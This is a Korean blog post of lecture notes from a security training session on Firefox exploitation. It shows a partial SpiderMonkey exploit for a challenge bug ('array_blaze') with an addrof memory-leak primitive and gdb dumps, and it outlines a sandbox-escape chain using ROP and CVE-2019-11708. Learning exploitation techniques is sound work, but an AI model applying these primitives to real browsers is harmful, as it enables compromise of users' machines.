본문 바로가기
비오비

[신정훈 멘토님]파폭

by sonysame 2019. 8. 17.

브라우저 공격 벡터


DOM, JavaScript, 3D, SVG, Audio/Video, 




Stativ HTML <=> DOM Style


DOM Class hierarchy


->자바스크립트 이용해서 만질 수 있다.



?id=662767



우리만의 퍼저!!

domato



SmartPointer 공부!!


Firefox, Chrome에서 자기네 SmartPointer사용


자바스크립트도 가상머신기반이다


ECMAScript 정독 필요!


JIT 컴파일러


Javascript Engine이름


array_blaze


var arr = new Array(1,2,3,4);

var ua8 = new Uint8Array(32); //32 =>0x20h

var original_data_slot=0;


load('./utils.js');

load('./int64.js');


arr.blaze();


var leak_obj=[1,2,3,4,5];


original_data_slot=arr[13];


var primitives={

        addrof:function(object){

                arr[11]=8; //byte length

                arr[13]=original_data_slot; //data_slot

                arr[14]=object;//index 0 for leak

                return Int64.fromJSValue(ua8.slice(0,8));

        },

        read: function(addr){

                ;

        },

        write: function(addr, v){

                ;

        },

};



print(primitives.addrof(leak_obj))


//print(arr);


Math.atan2

break js::math_atan2


vp를 이용해서 따라가면 된다

x/4a

(gdb) x/4a 0x7ffff52d0088

0x7ffff52d0088: 0xfffe7ffff55aad80 0xfffe7ffff5580240

0x7ffff52d0098: 0xfffe7ffff5589100 0xfffe7ffff558b140


3번째거 릭오브젝트


object표현할때 0xfffe가 붙는다;;
(gdb) x/12a 0x7ffff5589100
0x7ffff5589100: 0x7ffff557aa30 0x7ffff55a4078
0x7ffff5589110: 0x0 0x7ffff5589130
0x7ffff5589120: 0x500000000 0x500000006
0x7ffff5589130: 0xfff8800000000001 0xfff8800000000002
0x7ffff5589140: 0xfff8800000000003 0xfff8800000000004
0x7ffff5589150: 0xfff8800000000005 0x0


제대로 가지고 왔음을 알 수 있다


릭까지 됐다!!


URL을 마음대로 바꿀 수 있다 

Renderer exploit을 한번 더 실행

Renderper process exploit해가지고 ROP통해서 cve-2019-11708

한번 더 exploit해가지고 쉘코드가 계산기를 띄우는 

두번째에서는 parent process에서 돌아가고 있으니까 샌드박스가 안걸려있다!!


Sandbox

render process(child process) exploit해가지고 parent process에서 exploit한번 더 실행 

IPDL이라는 긴으으로 parent와 child가 통신한다 MessasgeManager를 이용

MessageManager를 ROP해서 MessageManager기능을 만들면 된다.


Window Integrity level


Renderer (Low에서 돈다)

아래 권한에 요청을 맘대로 보낼 수 있다.



```in JS

function x1(){

const g0=0xc3c3c3c3.asDouble;

}


```




Untrusted < Low 

'비오비' 카테고리의 다른 글

[8/18] 김재기 멘토님  (0) 2019.08.18
파폭2  (0) 2019.08.17
8/4[김재기멘토님]  (0) 2019.08.04
8/4 [박세준 멘토님]  (0) 2019.08.04
8/3[이종호]  (0) 2019.08.03